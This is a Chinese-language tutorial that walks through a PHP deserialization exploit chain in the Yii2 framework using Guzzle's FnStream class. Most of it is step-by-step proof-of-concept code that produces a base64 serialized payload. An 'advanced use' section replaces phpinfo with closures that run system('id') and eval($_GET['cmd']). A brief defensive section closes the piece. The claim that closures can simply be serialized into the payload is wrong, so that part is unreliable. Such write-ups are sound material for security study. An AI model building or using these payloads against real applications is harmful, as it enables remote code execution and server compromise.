前言
PHP 反序列化漏洞是一种常见且危害严重的安全漏洞,它允许攻击者通过精心构造的序列化数据来执行任意代码。本文将以 Yii2 框架中的 BatchQueryResult
类为例,详细分析一个完整的反序列化漏洞利用链,从漏洞原理到最终的 POC 构建。
漏洞原理概述
PHP 反序列化漏洞发生的基本条件是:
- 应用程序接收用户输入的序列化数据并使用
unserialize()
函数还原 - 存在可利用的"魔术方法"(如
__destruct
、__wakeup
、__toString
等) - 这些魔术方法中包含可被利用的代码路径
当这些条件满足时,攻击者可以构造特定的序列化数据,使反序列化过程触发一系列方法调用,最终达到执行任意代码的目的。
Yii2 BatchQueryResult 类分析
我们首先来分析 Yii2 框架中的 BatchQueryResult
类,它位于 vendor/yiisoft/yii2/db/BatchQueryResult.php
。
关键属性和方法
namespace yii\db;
class BatchQueryResult extends BaseObject implements \Iterator
{
private $_dataReader;
// 其他属性...
public function __destruct()
{
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
// 其他方法...
}
从代码中可以看出:
__destruct()
方法在对象被销毁时调用reset()
reset()
方法检查$_dataReader
是否为 null,如果不是,则调用其close()
方法
这里的关键点是:如果我们能控制 $_dataReader
属性指向一个具有 close()
方法的对象,并且该 close()
方法能执行我们想要的代码,就能实现代码执行。
利用链分析
寻找合适的利用链
为了利用这个漏洞,我们需要寻找一个具有 close()
方法且能被利用的类。经过研究,我们发现 Guzzle HTTP 库中的 GuzzleHttp\Psr7\FnStream
类非常适合:
namespace GuzzleHttp\Psr7;
use Psr\Http\Message\StreamInterface;
class FnStream implements StreamInterface
{
private $methods;
private static $slots = ['__toString', 'close', 'detach', 'rewind',
'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
'isReadable', 'read', 'getContents', 'getMetadata'];
public function __construct(array $methods)
{
$this->methods = $methods;
}
public function close()
{
return call_user_func($this->_fn_close);
}
// 其他方法...
}
FnStream
类有以下特点:
- 它实现了
close()
方法 close()
方法使用call_user_func($this->_fn_close)
调用存储在$_fn_close
属性中的可调用内容- 如果我们能控制
$_fn_close
属性,就能执行任意 PHP 函数
完整的利用链如下:
- 创建一个序列化的
BatchQueryResult
对象 - 设置其
$_dataReader
属性为FnStream
对象 - 设置
FnStream
对象的$_fn_close
属性为想要执行的 PHP 函数(如phpinfo
) - 当这个序列化对象被反序列化时,最终会调用
call_user_func($this->_fn_close)
,执行我们指定的函数
POC 构建步骤
接下来我们将一步步构建 POC(概念验证代码):
步骤 1:构建基本框架
<?php
namespace yii\db;
class BatchQueryResult
{
private $_dataReader;
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
注意点:命名空间必须正确,必须与原始类的命名空间一致(
yii\db
)。错误的命名空间将导致反序列化失败或利用链断裂。
步骤 2:添加 FnStream 类
<?php
namespace GuzzleHttp\Psr7;
class FnStream
{
private $_fn_close;
public function __construct()
{
$this->_fn_close = "phpinfo";
}
}
namespace yii\db;
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new FnStream();
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
注意点:
- 我们只需要实现漏洞利用所必需的部分,不需要完整复制原始类的所有属性和方法。
FnStream
类中,我们设置$_fn_close = "phpinfo"
,这将是最终执行的 PHP 函数。- 确保引入了正确的类:
use GuzzleHttp\Psr7\FnStream;
。
步骤 3:完善 POC
为了便于理解,我们来梳理整个利用链的执行流程:
unserialize()
还原BatchQueryResult
对象- 对象生命周期结束时,触发
__destruct()
方法 __destruct()
调用reset()
reset()
检查$_dataReader
并调用$_dataReader->close()
- 由于
$_dataReader
是FnStream
对象,所以实际调用的是FnStream->close()
FnStream->close()
执行call_user_func($this->_fn_close)
- 最终执行
phpinfo()
函数
最终的 POC 代码如下:
<?php
// 第一部分:定义 FnStream 类
namespace GuzzleHttp\Psr7;
class FnStream
{
private $_fn_close;
public function __construct()
{
// 设置要执行的 PHP 函数,可以替换为其他函数或命令
$this->_fn_close = "phpinfo";
}
}
// 第二部分:定义 BatchQueryResult 类
namespace yii\db;
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult
{
private $_dataReader;
public function __construct()
{
// 将 _dataReader 设置为 FnStream 对象
$this->_dataReader = new FnStream();
}
}
// 第三部分:生成序列化数据
namespace {
use yii\db\BatchQueryResult;
// 创建对象并序列化
$obj = new BatchQueryResult();
$serialized = serialize($obj);
// 输出 base64 编码后的序列化数据(便于传输)
echo base64_encode($serialized);
}
进阶利用
上面的 POC 仅执行 phpinfo()
函数,在实际利用中,我们可以替换为更有实际作用的函数:
// 执行系统命令
$this->_fn_close = function() { system('id'); };
// 或者执行 eval
$this->_fn_close = function() { eval($_GET['cmd']); };
注意点:使用匿名函数时,序列化数据会更复杂,但能实现更灵活的控制。
防御措施
为了防御此类漏洞,可以采取以下措施:
- 不要直接反序列化不可信数据:如果必须处理用户提供的序列化数据,使用安全的替代方案如 JSON
- 使用 PHP 7.1+ 的
allowed_classes
选项:限制可以被反序列化的类unserialize($data, ['allowed_classes' => false]);
- 实施输入验证:验证序列化数据的格式和内容
- 更新依赖:确保使用最新版本的框架和库,其中可能已修复已知漏洞
总结
本文详细分析了基于 Yii2 框架 BatchQueryResult
类的反序列化漏洞利用链。通过控制 $_dataReader
属性指向一个 FnStream
对象,并设置其 $_fn_close
属性为任意 PHP 函数,我们可以在对象反序列化时触发任意代码执行。
理解此类漏洞的工作原理对于开发安全的 PHP 应用程序和进行有效的安全测试至关重要。始终记住,不要反序列化不可信的数据,这是防御此类漏洞的最佳方式。